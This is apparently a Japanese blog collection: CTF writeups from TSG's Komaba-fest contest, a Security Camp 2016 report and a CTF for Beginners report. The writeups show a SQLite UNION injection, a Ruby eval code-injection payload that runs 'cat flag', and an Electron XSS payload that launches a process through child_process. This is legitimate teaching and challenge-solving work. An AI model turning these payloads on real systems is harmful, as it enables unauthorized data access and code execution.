d5fe4dc31680a0c12730b4599ecccb369b6a0a14 tree   247 233 5239
37a62992ec0d4c83df1d6952933c0afaa135d6a8 tree   9 20 5472 1 d5fe4dc31680a0c12730b4599ecccb369b6a0a14
69c2b0afdb2a14797f43e4424dc06cc6202bea1f tree   99 106 5492
d756753ddde35b336989129b46062c22e97d0e38 tree   59 45 5598
d564d0bc3dd917926892c55e3706cc116d5b165e tree   36 47 5643
43988cd07d60aa41f61e6e2421156068b3f8632b tree   152 141 5690
d0ca60424dc0174f1e3eb142a508a205e0df8df7 tree   27 40 5831 1 7edb96cb41cbfea869dabc7de625a5e50abd71ea
c1e375244c834c08d537d564e2763a7b92d5f9a8 blob   99 112 5871
157d2e555e663ffb6e203a4ecc62a9e599e259ab tree   27 40 5983 1 7edb96cb41cbfea869dabc7de625a5e50abd71ea
1f34928d090b69867f664dcbef276d53a29483cc tree   30 43 6023 1 d5fe4dc31680a0c12730b4599ecccb369b6a0a14
6361c720b6a55eb93f42cd57a48cc27805442a53 tree   9 19 6066 2 1f34928d090b69867f664dcbef276d53a29483cc
ebc4754f23719c17eedf24af0187be86b52e71d2 blob   11 22 6085 1 02d365359d84a5d4f4317fa3549fe073a024c502
27b5ce64362f03ef9a7f044e677fba81ab47544b tree   27 40 6107 1 7edb96cb41cbfea869dabc7de625a5e50abd71ea
bfa5390abc0810070a1983a6ff8982bcc2a6a196 tree   27 40 6147 1 7edb96cb41cbfea869dabc7de625a5e50abd71ea
2aea982ed4eb63a835ce71322379720fb45e3a7a tree   30 43 6187 2 1f34928d090b69867f664dcbef276d53a29483cc
5e1b13226968864981f768dd68bb3a5141f10b26 tree   9 19 6230 3 2aea982ed4eb63a835ce71322379720fb45e3a7a
34b46ad3604df653c93fcede1b7e2c546a748032 tree   25 38 6249 1 69c2b0afdb2a14797f43e4424dc06cc6202bea1f
2c6881340dd54ea0fbc6013da69701adf77cd80f tree   30 43 6287 1 43988cd07d60aa41f61e6e2421156068b3f8632b
798fae498457783788a70719f5176d7542c10e72 blob   172 129 6330
7459ce4ad03f11e4f9aae544274766edd675fe11 tree   27 40 6459 1 7edb96cb41cbfea869dabc7de625a5e50abd71ea
ff591ccbfb2cf72a371008a82f4210209797584f tree   327 300 6499
484d7614db417d10ab3116c9ce11d03b6d380f14 tree   9 20 6799 1 ff591ccbfb2cf72a371008a82f4210209797584f
60723b12e68c53e802729604a16931e74f000e81 blob   90 80 6819
67960090c674d6d824da50dfd45d8f12d83786e6 tree   75 89 6899 2 484d7614db417d10ab3116c9ce11d03b6d380f14
fa7b6981166dcad181464007968ddf2c44b88973 blob   41 44 6988
00ba81bd54c79a5e712435ee9ecd2b2d8585917c blob   19 31 7032 1 02d365359d84a5d4f4317fa3549fe073a024c502
23c5b636f8501a098860f40e56b2beb29d5fa410 tree   99 106 7063
a416178f93b9276bfcfd300dc196e1952e717331 blob   126 126 7169 1 77248329a5e663f2ac278c095f113d27b4e8f8be
cd7068e30ead3aa205f7bc8c73e1caa8854221a3 tree   28 41 7295 3 67960090c674d6d824da50dfd45d8f12d83786e6
da64e5cf3af628fed6a351de35fbca1f39a61b84 tree   66 76 7336
62062f1afde0d9ae9b4d91781780dd615c6448f9 blob   17 30 7412 2 a416178f93b9276bfcfd300dc196e1952e717331
e79b903e56ed961fd3c0076682976d045f7cec52 tree   28 41 7442 3 67960090c674d6d824da50dfd45d8f12d83786e6
6754b81daa8414ea07475e5350f2d54c7523b989 tree   66 76 7483
abf4339ce17591e3712d2dc375864493c82d207b blob   52 61 7559 2 a416178f93b9276bfcfd300dc196e1952e717331
e78e4553e8c4e68a733f67ba8abaed1db3bb95e0 tree   28 41 7620 3 67960090c674d6d824da50dfd45d8f12d83786e6
56fced572a5abc13cf60a8a49a19d5af87f61d87 tree   66 76 7661
501072473b04d8d2eaf05d13cc71fa2568ec3d6c blob   116 82 7737 2 a416178f93b9276bfcfd300dc196e1952e717331
7ddff67ab554b53d00d00ae91a3b4c36578b37f0 tree   297 275 7819
97fe1a6ab46a57cfa8043a17395b2501332c2436 tree   55 70 8094 1 7ddff67ab554b53d00d00ae91a3b4c36578b37f0
0bb75ea03f73a8764f724a990b6145f0b929c3f8 blob   37 43 8164
a2cdcc183cceecbc5a0f8532245e608b90c6340f blob   81 78 8207
79e09050a3fab6a7c8002ddecd9ba97e1ba6e01f blob   10 21 8285 1 a56e0143927a72fee0c6f00618442def5cd60fac
2d412b10aefe0f80e26536c8ec1a58d4b30df1bf blob   6 17 8306 1 d3a384c81e3e530ad97719e80b8223ed7754a4a2
5c6f3673d687b416b32cd6d1d49d85da60c66950 tree   66 76 8323
e9441ab4fc0a169d8482e76da4b9f55a6caa5823 blob   27 38 8399 3 501072473b04d8d2eaf05d13cc71fa2568ec3d6c
76d6409dbcb16c8282b966f2c0491c02364fcf7b tree   75 80 8437
8a5cd16517aacf3b150620f6c5347d8e27ef47dc blob   21 33 8517 1 798fae498457783788a70719f5176d7542c10e72
c29410cbe0e08299c0f0ee8085642bd24a838485 blob   96 96 8550 4 e9441ab4fc0a169d8482e76da4b9f55a6caa5823
0dc0e23010600ab04db1cfef617b35cb9a808668 tree   30 43 8646 1 7ddff67ab554b53d00d00ae91a3b4c36578b37f0
9f88382a6895bd951d953155960c0ed5a8612303 blob   10 21 8689 5 c29410cbe0e08299c0f0ee8085642bd24a838485
4b1026ccafd4c79a70a10b46c5531fc331e92b6a tree   297 274 8710
0d84bf0607785e59be1448379961ec8064b4d92e blob   218 162 8984
d630e501eea771f59769592170cdc0bf2d741ae6 blob   13 24 9146 1 a56e0143927a72fee0c6f00618442def5cd60fac
89db2e6e905c3036b53672b3c3bc9fad472fa368 blob   6 17 9170 1 d3a384c81e3e530ad97719e80b8223ed7754a4a2
ff42cc4a1974e58b02772f401321ba3f57846e38 tree   75 79 9187
fa17d60b89e69d855a7c01363435995b4dd67def blob   51 56 9266
91a3b5d486e8cce94c981e459db47a2fa4497e1b tree   86 101 9322 1 4b1026ccafd4c79a70a10b46c5531fc331e92b6a
2ff872c5b6173fdb325f89c90b251daebf91092c blob   614 317 9423
18799361bcac695368b53df8847b57ba34967a50 blob   16 28 9740 1 0d84bf0607785e59be1448379961ec8064b4d92e
51422bc8c729b297e89be5028b080d37f5fa71e8 tree   75 80 9768
a5f2f7907b07430751f2707bf7d12d5cd9bd7be2 blob   17 27 9848
a63dcfb386a4b30e3a1d85641cfb1aae8ecbbb5c tree   30 45 9875 2 91a3b5d486e8cce94c981e459db47a2fa4497e1b
72e3d57df672e811ef56d4fa993a71da33a1de91 blob   59 67 9920
207cef168362ac985a373f49fdbcf1d29035b6fb tree   64 79 9987 2 91a3b5d486e8cce94c981e459db47a2fa4497e1b
f87f5c14cbbd7d462ab7c5ed4f7b4b822d3254a4 blob   6 15 10066
0b02e2f465e326a2fb4327a1ed2a64ed95084ee6 blob   13 24 10081 1 d3a384c81e3e530ad97719e80b8223ed7754a4a2
non delta: 61 objects
chain length = 1: 25 objects
chain length = 2: 8 objects
chain length = 3: 5 objects
chain length = 4: 1 object
chain length = 5: 1 object
.git/objects/pack/pack-b799d65ebb2cc3fab7878fcf2a2642585de29408.pack: ok

4

gcで生成されたpackをzlibで無理やり展開してゴリ押しreconをする(gitのオブジェクトは全てzlibで圧縮されているため)

Flag

Obliterated File TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
Obliterated File Again TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}

非想定解と修正(Obliterated File Again)について

初めに公開された問題 Obliterated File にて実行されたコマンドは以下の通り

$ git filter-branch --index-filter "git rm -f --ignore-unmatch flag" --prune-empty -- --all
$ git reflog expire --expire=now --all
$ git gc --aggressive --prune=now

これによりflagのファイルの乗ったコミットが refs/heads/master から辿れる場所に1つだけ存在している状態になっていました.この問題を修正したものを Obliterated File Again として出題し初期得点を250ずつに配分しました.大変失礼いたしました.

駒場祭 TSGCTF day1 Writeup

これは TSG Advent Calendar 2018 の3日目の記事です.

adventar.org

昨日12/2は くっきーさんの駒場祭企画 TSG LIVE! 2 CTF DAY1の問題 でした.


先日11/23-25に駒場祭があり.私が所属しているサークルTSG(東京大学理論科学グループ)では企画として3日間を通してプログラミングの生放送をしました.そのうち,私は配信の関係でhakatashiさんの代わりのJP3BGY氏と共に1日目のLIVE CTFにプレイヤーとして参加をしました.

5問のうち本番1時間で解けた問題は simqleの1問のみでしたが,終了後これに加え3問解くことができたので,計4問のWriteupを公開します. ちなみに残り1問のforensicはJP3BGY氏が実質解けたと仰っていたのでめでたくTeamBLUEは全完です(いいえ) 追記(2018/12/6):僕がforも解いたので全完です わいわい

問題は以下で公開されています.

https://ctf-day1.tsg.ne.jp/

問題製作者のくっきー氏曰く12/9までは少なくとも遊べるようになっているそうです.

[Web 100] simqle

TSG部員の情報を検索できるようなフォームがあるWebページが渡される.

f:id:taiyoslime:20181203194457p:plain

ソースコードが与えられており,フォームのパラメータを受けとりSQL文を発行している部分を抽出すると以下のようになっている. ( https://github.com/cookie-s/tsgctf-kmbfes18-day1-pub/blob/master/web-simqle/app.rb からでも閲覧可能)

...
params = JSON.parse request.body.read rescue return 400
%w(name since until title url).each do |key|
    return 400 if params[key] && params[key].bytesize > 500
end
return 400 if params["name"] && params["name"].bytesize > 20

filter = "name LIKE '%%%s%%'" % params["name"]
filter+= params["since"] && params["until"] ?
  " AND year BETWEEN %d AND %d" % [params["since"].to_i, params["until"].to_i] : ''
filter+= params["title"] ?
  " AND title LIKE '%%%s%%'" % sql_escape(params["title"]) : ''
filter+= params["url"] ?
  " AND url LIKE '%%%s%%'" % sql_escape(params["url"]) : ''

sql = "SELECT name, year, title, url FROM members WHERE %s ORDER BY id DESC" % filter
...

また,関数sql_escapeは以下のように定義されている.

def sql_escape(x)
  x.gsub("'", "''")
end

タイトルからもSQL Injectionをする問題とみて間違いなさそうなので,SQLiteにおいてメタ情報を格納しているsqlite_masterテーブルのtbl_nameから,DB内のテーブル名一覧を抜き出すことを目標にSQLiできそうな場所を探す.

一見 title' union SELECT tbl_name,1,1,1 from sqlite_master --で終わりのように見えるが20文字以上になってしまうため上手く動かない.

そこで,例えば name' AND "title" union SELECT tbl_name,1,1,1 from sqlite_master -- とすると,最終的なSQL文となる文字列sql

SELECT name, year, title, url FROM members WHERE name LIKE '%' AND "%' AND year BETWEEN 0 AND 0 AND title LIKE '%" union SELECT tbl_name,1,1,1 from sqlite_master --%' AND url LIKE '%%' ORDER BY id DESC

となり上手く間が文字列となってくれSQLiが成功する.

上のSQLiが成功した結果,memberssqlite_sequenceの他にfl4gというテーブルがあることがわかる.

よって,同じように,name = ' and "title = " union SELECT *,1,1,1 from fl4g -- とすると,FLAGが出現した.

FLAG : TSGCTF{159_MEMBERS_ARE_IN_SLACK}

[Web 150] sha

saltflag の2つのテキストボックスをもつフォームが与えられる.

ソースコードが与えられており(https://github.com/cookie-s/tsgctf-kmbfes18-day1-pub/blob/master/web-sha/app.rb からでも閲覧可能),見るとこのsaltflagからcodeを生成し,codeをevalした結果を返却しているようである.コード生成部を抜粋すると次の通り.

salt = params[:salt]
file = params[:file] || 'flag'
logger.info [salt, file]

code = <<-END
require 'digest/sha2'
s = #{salt.inspect} + IO.binread(%p.gsub(?/,''))
puts Digest::SHA512.hexdigest(s)
END
code = code % file

一瞬伸長攻撃につなげる問題かと考えたが,Web問なので素直にWeb的にflagファイルを読み出す方法を考える.

直ぐ思いついたものは%pに適切なものを入れて任意コード実行するというもの.%pは与えられたObjectに対してObject#inspectをするようなsprintfのフォーマットであり,Object#inspectはオブジェクトを可読性の高い文字列に変換するメソッドである.例えば "hoge".inspect"\"hoge\""""\"".inspect""\"\\\"\"" となる.

ここからも分かるように,codeの2行目の%pの部分には少なくとも文字列としてダブルクオーテーションに囲まれた何かが入る訳で,例えばこの"を閉じて任意実行に持っていく発想として file = "\");puts `cat flag#" みたいなものを投げ,codes = #{salt.inspect} + IO.binread("");puts `cat flag#".gsub(?/,'')) のような文字列になることを期待したいとする.

しかし,先程見たとおり当然""\"".inspect""\"\\\"\""であるからs = #{salt.inspect} + IO.binread("\");puts `cat flag#".gsub(?/,''))という文字列 1 になってしまう.(要するに文字列をinspectすることで生じるダブルクオーテーションを閉じることは出来ない)故に%pの部分を用いて任意コード実行できるようなRubyコードを構成することは難しいように思える.

そのためsaltに例えば%s等を投げて,そちらにinjectすれば良いのでは無いかと試しているところで時間が終わる.

この方針は結局正しくて,salt="%s" とすると codeの2行目の文字列は

s = "%s" + IO.binread(%p.gsub(?/,'')) となる.2

よって,例えばfile = ["\";puts`cat flag`;#", "hoge"] とすると,codeの2行目の文字列は

s = "";puts`cat flag`;#" + IO.binread("hoge".gsub(?/,''))\n

実際は文字列なので "s= \"\";puts`cat flag`;#\" + IO.binread(\"hoge\".gsub(?/,''))\n" であり,これがevalされるわけなので任意のRubyコードが実行可能であることがわかる.

よって,salt=%25s&file[]=";puts`cat flag`;#&file[]=hoge のようなものを投げるとFLAGが読み出せた.

String#%について,文字列にsprintfの埋め込みが2箇所以上ある場合は渡す複数の文字列を配列にする必要があるが,sinatraはちゃんと複数の同名パラメータは配列になるのでこれで良い.

FLAG : TSGCTF{I_COULDN'T_COME_UP_WITH_ANYTHING_BUT_SHA_FUNCTION}

[Stego 100] 3tsg0

このページはstaticか?

公開されているTSGのHP(http://tsg.ne.jp/) と一見同じものが表示される.

curlしてdiffを取って見るが,HTMLについては各ページやリソースへのリンクが変化しているだけ またcss,jsについてはtsg.ne.jp以下のものを取って来ているだけであった. その他与えられているもので怪しいファイルや情報が無いため,注目するべきはHTMLファイルだろうと推測できる.

返却されたHTMLのResponse Headerを見ると,

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

となっている.(このあたりで本番は投げ出して他の問題を見始めた)

こういった静的なサイトとしてちょっと変だなあと思う点は Transfer-Encoding: chunked となっていることである.

Transfer-Encoding: chunked とは,データを一度に送信しContent-Lengthヘッダーでサイズを指定するのでなく,データを複数のchunkに分けて送信するようなHTTPのオプションであり,故にこのサーバーは継続的にデータを送ってきているのではないかと推測できる.

require "socket"
socket = TCPSocket.open("external.chals.ctf-day1.tsg.ne.jp",15682)
socket.print "GET / HTTP/1.0\r\n\r\n"
response = socket.read

みたいなことをし,responseを読むと,

...
54
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="utf-8">
    <meta name="d
53
escription" content="東京大学に本拠をおくコンピュータサークルTS
47
Gのウェブサイトです。">
...

等の,通常のブラウザやcurlでは見えていなかった文字列が見えていることがわかる.

目視で確認して16進数だと推測し,末尾に\r\nが付いているようなもののみを抽出すると,

response.lines.select{|e| e=~/^[0-9a-f]{2}\r\n/}
# => 54
# 53
# 47
# 43
# 54
# 46
# 7b
# 49
# ....

のように,明らかにascii文字の範囲内に収まるような16進数がchunkとして送信されていることがわかる

よってこれらをascii文字に変換した後結合してFLAGとなる.

response.lines.select{|e| e=~/^[0-9a-f]{2}\r\n/}.map{|e| e[0,2].to_i(16).chr}.join
# => TSGCTF{I_THINK_IT_DEPENDS_ON_THE_DEFINITION_WHETHER_THIS_SITE_IS_STATIC}

FLAG : TSGCTF{I_THINK_IT_DEPENDS_ON_THE_DEFINITION_WHETHER_THIS_SITE_IS_STATIC}

[stego 100] W

部室の写真(png)が与えられる.

f:id:taiyoslime:20181203192356p:plain

stegsolveで見てあげると画像の各ピクセルのRed,Green,Buleの値のそれぞれ0bit目を色分けした画像が次のようになっている.

f:id:taiyoslime:20181203191228p:plain f:id:taiyoslime:20181203191239p:plain f:id:taiyoslime:20181203191320p:plain

Buleの上半分にRubyのコードのようなものが確認できるが判別しにくいため,ちょうどRedで得た市松模様とXORを取ってみると次のようになる. f:id:taiyoslime:20181203191326p:plain

下半分がGreenと同じような見た目になっていることがわかり,これとGreenとのXOR取るとコードが全貌が判明すると共にFLAGが得られる. f:id:taiyoslime:20181203191921p:plain

FLAG : TSGCTF{'RGB'.bytes.inject(&:^).chr}


明日12/4は moratoriumさんの TSGCTF day3 writeup です.


  1. これは文字列なので実際は "s = \"\" + IO.binread(\"\\\");puts `cat flag#\".gsub(?/,''))\n"

  2. 実際は,"s = \"%s\" + IO.binread(%p.gsub(?/,''))\n"である.また,code全体は"require 'digest/sha2'\n" + "hoge = \"%s\" + IO.binread(%p.gsub(?/,''))\n" + "puts Digest::SHA512.hexdigest(s)\n" となる.

#seccamp ’16 全国大会 参戦記

8/8 ~ 8/13までIPA経産省が主催する セキュリティ・キャンプ2016 全国大会 に参加してきた。

かなり勢いに任せて短時間で書いてしまったところがあり推敲とかしてないですが、某 顔を模した本の会社の偉い人がDone is better than perfect.なることを言っていた気がしたりしなかったりするので上げます。

DAY 0 - 8/8

前泊のため1日前から長野を出て特急あずさで新宿に向かった。寝てて気づかなかったけど到着が1時間ぐらい遅れたらしい。

ホテルのインターネット環境が基本有線なのと 講義でも使うということだったので、海浜幕張駅に着いてからバスで幕張イオンモールに移動して Thunderbolt to Ethernet アダプタを購入した。

この近辺バスが充実していて無料で駅からモールまで移動できた。


21:30過ぎくらいに会場に到着した。


ホテルはここに5日間泊めさせてもらってもいいのか…?というぐらい居心地がよく快適に過ごせた。ポットや空気清浄機もあり初日はそれらと戯れてた。お茶美味しかった。

これ正しくは Mbit/s です(目がついていなかった)

DAY 1 - 8/9

7:30ぐらいに起きて、前泊組の方たちと朝食をとったあとは部屋でゴロゴロしていた。



そろそろ参加者がちらほら到着しただろうという頃合いを計ってのそのそ部屋から出て下に降りると、既に多くの方が名刺交換を始めており一気に眼が覚めた。

昼食をとり、開講式があったところで初めての講義が始まった。

まず、共通講義としてセキュリティの基礎を学び、そのあと特別講義として最前線で活躍されている2名の方のお話を伺った

Cyber Defense Instituteの福森さんから「ZENIGATAになりたくて」

福森さん「Binaryできる人間はWebもだいたいできるけど、Web専門の人でBinaryできる人はなかなかいない」

精進せねば…..。

JC3の間仁田さんから「サイバー犯罪の実態とこれに対処するための取組」

セキュリティに対する具体的な警察の取り組みはあまり認知されていない気がして非常に面白かった。

コンビニツアー

キャンパーの外出は一日の終わりにコンビニにいくこと以外は許可されていなかった。

しんさくさんが「コンビニのレジにDDoSやめろ」と言っていたのが一番面白かった。

この日を最後にキャンプ終了まで外気に触れることはなかった。

DAY 2 - 8/10

この日から専門講義が始まった。

1-A HTTPプロキシ発展

Burp Suiteはブラウザやスマホ、サーバーからの通信を中継し解析・改変するLocalProxyツールの一つで、今回は主にこれを講義で使った。

まずは基本的なProxy,Repeater,Extender等のタブの使い方を学び事前課題のをおさらいをした後、Burp Extenderと呼ばれるBurpの拡張機能Javaで書いた。

選択肢としてはJythonJRubyでもできるのだが、今回はおとなしくJavaを書くことにしたが案の定とても辛かった。
Proxy画面でタブを一個増やし、base64で暗号化された通信を自動でデコードし、改変したリクエストを自動でエンコードして送るというプラグインを作った。

そして、これを用いてスマホアプリの通信をキャプチャしリクエストを自由に書き換えて脆弱性を突くという演習をする形になった。

今回はキャプチャする上で手元マシンのDNSとHostの設定をする方法をとったのだが、Mac機が私だけだったためfakeDNS.exeを動かすためにmfc42.dll入れてwineで動かしたり、なんかうまくいかないと思ったらMacのFirewallがオンになってたりで満身創痍だった。

Burpについての知見も深まり非常に楽しめた。

2-B 謎マシンでNetBSDのクロス開発体験

NetBSDは、ひとつのソースツリーで少なくとも58以上のアーキテクチャをサポートしているUNIX互換OS

Windows 10上のVMNetBSDを起動させ、そこでRasberryPI用のカーネルをクロスビルドした。

$ cd /usr/src
$ ./build.sh -j 6 -u -U -m evbarm -a earmv6hf tools
$ ./build.sh -j 6 -u -U -m evbarm -a earmv6hf kernel=RPI

結構時間かかるので気長に待ったあと、できたnetbsd.binをRPI用のメモリカードのの/boot/kernel.imgに書き込んでカーネルをアップデートする。(後に調べたところ、このあたりに詳しく乗っている:https://wiki.netbsd.org/ports/evbarm/raspberry_pi/

HDMIとUSBキーボード・マウス、LANケーブルをさしてRPIを起動して
勝手にメモリカードがのルートパーティションを自動調整するので待った(結構時間がかかった)ところ、NetBSDが無事起動した。

startxicewmを起動してそのあとmikutterを起動した。Rubyの通信のためにNetBSDのセキュリティ機構を切る必要があった。

mikutterや柚子胡椒ステッカーだったりを頂きました。

CTF

形式はJeopardyでもなくAttack & Defenseでもなく、一台のRPIへ接続して問題を解いていくという形式だった。
最初チームはひたすらブラウザ(80)のみを見ていたがnmapしたらあと4つぐらいポートが開いてて言葉にできない感情が沸いてきた。
それに時間かけた割にWebが1問も溶けなかったは痛かった。

確かチームは5位だったのだが経験不足が露呈する感じになってしまった。

DAY 3 - 8/11

3-A Webアプリケーションの脆弱性の評価と発見

前半では、脆弱性の発見のメソッドやTipsを学び 実際のサイボウズで使われていた製品の脆弱性を検証したりした(詳細は公開できませんが)

また、脆弱性評価システムのCVSS v3という手法を実際に手を動かしながら学んだ。(https://www.ipa.go.jp/security/vuln/CVSS.html)

これは幾つかの評価基準に基づき脆弱性の脅威を算出するという方法で
今回は基本評価基準 (Base Metrics)、現状評価基準 (Temporal Metrics)、環境評価基準 (Environmental Metrics)のうち、脆弱性を公表する組織がその脆弱性の深刻度を表すために評価する基準である基本評価基準を計算した(計算はめんどくさいので便利Webツールを使う)。

基本評価基準では幾つかの評価基準となる項目と、それぞれの項目に対応する選択肢が用意されている。

評価基準となる項目は

  • 攻撃元区分 ( ローカル / 隣接 / ネットワーク )
  • 攻撃の複雑さ ( 高 / 中 / 低 )
  • 攻撃前の認証可否 ( 複数 / 単一 / 不要 )
  • 機密性への影響 ( なし / 部分的 / 全体的 )
  • 完全性への影響 ( なし / 部分的 / 全体的 )
  • 可用性への影響 ( なし / 部分的 / 全体的 )

となり、これらの評価値を計算して指標とする。

複雑さ等、主観的な要素が入ってしまうのではないかと最初考えたが、組織内で明確な分類基準を作っておけば問題ないようだ。

実際にあった脆弱性に対して具体的に評価を行い、内容はここでは伝えることはできないが脆弱性評価において実践的な体験をすることができた。

4-C オンラインゲームアタック&ディフェンスチャレンジ

Capture the Frog!(カエルを捕まえろ!)という用意されたNode+Websocketで実装されたWebオンラインゲームの運営とプレイヤーに分かれてAttack & Defense形式の競技をした。

プレイヤー側は操作を自動化したり脆弱性を突いてアカウントを効率よく育て、運営側は脆弱性の修正や不正アカウントのBAN(但し時間での回数制限あり)を行う必要がある。

私は2回戦ともプレイヤー側として参加した。

あった脆弱性・バグとしては
実際の「盤上を1マスずつ動いて前後左右のカエルを捕まえレベルを上げていく」というルールに対して

  • levelupイベントをサーバーに直接emitすると無条件でレベルがあがる。
  • キャラクターの移動は前後1マスずつであるが、任意の位置に移動することができる
  • 捕まえるカエルの位置情報さえ判れば無条件に捕まえられる。

あと個人的に思ったことは

  • マップやキャラクターの情報を持つオブジェクト、その他関数全部がグローバルに展開されている。

ということがあった。

これらは1回戦で大方修正されたため

2回戦ではヘッドレスブラウザを使ってプレイヤーの動きをシュミレートし自動化するプログラムを書いていた。

が、運営側がこれを止めるため、一つの処理のたびに1秒程度間隔を取るような仕様になったため
自動化したスクリプトを動かしていたがあまり手作業と時間がかわらずじまいになった。

自分が運営だったらおんなじことをしそうなので何も言えない。

5-B USBメモリからブートしてみよう

配られたUSBの初期状態がMBR方式だったため、第1パーティションのPBRに自作プログラムを置き、MBRパーティションのフラグを改変(0x80だった気がする)したものを上書きした。

Macは諦めて、Windows10のセキュアブートを無効化しLegacy Boot Orderをオンにして先ほどのUSBをぶっ刺し無事OS抜きのHello Worldができた。

DAY 4 - 8/12

6-A 次世代プラットフォームのセキュリティモデル考察

前半はElectronアプリの脆弱性について。

Electronはメインプロセス=>node.js、レンダラプロセス=>Chromium + node.jsのため通常のWebアプリのセキュリティ対策に加えローカルアプリにおける注意も必要になってくる。

演習用のElectronアプリで脆弱性を探した。

通常のWebアプリにおけるDOM-based XSSと異なる部分は、Electronの場合Nodeの機能が使えてしまい(例えBrowserWindow生成時にwebPreferences: { nodeIntegration : false }としても、XSS<webview nodeintegration .... >を流しこんだり、window.openしてnodeIntegration=1を付与すれば終わり *1 )アプリを使っているユーザーの権限で任意のコードが実行できてしまう。

実際にinnerHTML

<img src=# onerror="require('child_process').exec('xcalc', ()=>{})">

みたいな感じのものを流し込んでで電卓を起動させることができた。

またWebviewに関するXSSだと広告等で任意コード実行される危険性もある。

その他に実習で使ったアプリではshell.openExternalを使った脆弱性もあった。

後半はWebとネイティブのつなぐ技術のお話

Webとネイティブアプリの欠点を補う手段として、JavaScriptとネイティブプログラムを相互につなぐ機構を導入して、Webに足りない機能はNative言語で実装してJSから呼び出す、という形のアプリが増えてきた。

例えば、Password Manegerのように、Webviewでフォームが登場したときにJSを注入しパスワード等を自動入力するような活用事例がある。

実際にパスワードマネージャーを模した攻撃対象のアプリが配られ脆弱性を探す作業をした。

アプリではiOS(Natibe)=>JSにevaluteJavaScript、JS=>iOS(Native)にWKScriptMessageHandler、を使用していた。

このようなアプリケーションに存在し得る主な脆弱性としてOrigin Validation Error、Frame Confusion、JavaScript Injectionがあるので、これらをうまく使った偽のサイトを構築しパスワードを入力させ奪取した。

7-B 組込みリアルタイムOSとIoTシステム演習

GR-PEACH上のTOPPERS/ASPカーネルリアルタイムOSのプログラミングをした。

内容あるのとかなり知見が得られたので後日Qiitaに別記事で投稿でもしようかなと思っています。

ひたすら仕様書やカーネルのコードを読んで挙動を予想・把握する経験をしたのは初めてだった。 かなり新鮮だった。

DAY 5 - 8/13

グループワーク(後述)の発表があった。

実機がLibreOfficeしか入っていなかったようでメンバーが作ってくれたPowerPointのプレゼンがうまく動かなかったのが心残りではある。

クロージングも終わり、最後にプレゼントとして3つ本を頂いた。

本当に5日間あっという間に終わってしまった。

グループワーク

  • 【未来】10年後のIT社会のセキュリティのあるべき姿
  • 【倫理】子どもたちに正しくIT技術を身に着けさせるために
  • 【対策】小規模企業におけるセキュリティ対策
  • 【回避】攻撃者に狙われないために何をすればいいか

のテーマでキャンプの期間でグループで議論を深めたり、チューターや講師の方にお話を伺ったりした成果を最終日に発表するという形だった。

私達は2つ目の【倫理】子どもたちに正しくIT技術を身に着けさせるためにを選択した。

少ない睡眠時間を削って資料を作ったり、講義の合間を縫ってヒアリングをしたりでかなり逼迫したスケジュールだった。

生活とか

  • 朝弱いくせに夜更かししてしまい一回寝坊をした。
  • 恐らく少数派であるご飯が足りない人間だったので、野菜をおかずにして白飯だけおかわりしていたところ色々な人に写真を撮られた。

頂いたもの

このような感じです。

感想

小学生の作文の感想みたいだが
「楽しかった」
本当にこれに尽きる。これ以上の言葉が見当たらない。

今後もどんどん忙しくなるとは思うが、CTF/セキュリティの勉強も少しずつ進めていきたいと強く思った。同年代で、同じ志をもつ方とつながりをもつことができたも非常に大きい。チューターの方という技術面だけでない憧れの存在もできた。

なんにせよ自分の行動体系が基本締め切り駆動なので、今後小さな目標を見つけどんどんこなして行ければと感じる所存。

このような機会を提供してくださったIPA総務省及び協賛企業の方々には本当に感謝してもし尽くせない思いです。本当にありがとうございました。

*1:最近は改善されたので、レンダラプロセスでnodeが再活性化されることはほぼないみたい

CTF for beginners 2016@長野に参加してきた

5/15(日)にctf4b@長野に参加してきた


長野県民としてこれほど嬉しい企画はない。 SECCONメルマガで「ctf4bを長野で開催する」という通知が届いてから5分で応募完了し、その日から非常にわくわくしていた私は当日意気揚々と長野市に向かった。

参加者の方は自分含めみんな長野の各地の山奥からのそのそ集結するんだろうなあと勝手に想像していたのだが、実際遠方からの参加者も多くいて驚いた。

講義はReversing,Web,Forensicsの3つを受けることができた。 思ったことをざっくりとまとめておく。

  • Reversing

    • apk解析
      いつも自分はDEXを取り出して、dex2jarをかけたあとそのままJD-GUIを使ってしまうのだが、今回はjarをさらにunzipかけてclassファイルをprocyonというデコンパイラで.javaを生成する仕方でやってみた。

    • elf解析
      今までgdbとobjdump使ってじっくり見てたけど、全く使った事なかったIDA使ってみて本当に感動した。実機にDemoバージョンを入れてみたので今後どんどん使っていきたい。

  • Web

    OSコマンドインジェクションだったり、PHPのis_numeric()の謎挙動、include()が生む脆弱性について等の講義だった。

    面白かったのは、PHPのType Confusionのお話
    PHPでは期待しない型の引数が与えられたときNULLを返す関数の仕様が多い。例えばstrcmpもそうなのだが、PHPでは NULL == 0 => tureなのである。strcmpは比較した結果が等しい時も0を返すため、これでパスワード等を比較していると脆弱性を生む原因になるみたいだ。

  • Forensics

    パケット解析をWireSharkで各ペインだったりフィルタだったりの使い方、TCP StreamとかProtocol Hierarchyの見方の説明を受けながら、実際に使ってみる感じだった。

    ファイル調査では、fileコマンドでは抽出できない入れ子ファイルの抽出はbinwalkでできるということを知った。

    個人的に一番楽しかった。


最後にミニコンテストのようなものを1時間ぐらいした。 誰がが旗取った時に「ピコーンピコーン!!」となるのが非常に新鮮だった。

結果は6位だった

f:id:taiyoslime:20160611225718p:plain

上から順番に解こうとしたため、難しい問題で時間を溶かした挙句最後に位置していたバイナリ問まで辿り着くのにかなり時間がかかってしまった。
数カ月前のJOI本選の教訓がまったく活かせていない。

今までは極めて牧歌的に、バイナリ眺めて全挙動を把握しきってから問題にとりかかるーーーということをしていたのだが
実際限られた時間の中で旗取るのにそんなことをしているのは明らかに無駄、いう極めて当たり前のことに気づけていなかった。

本当はWriteupなるものを書いてみたかったのだが、自分の作業の痕跡があまりにぐちゃぐちゃすぎたのでやめた。

これから少しづつOnline CTF等に参加しつつ実践経験を積んでいきたい。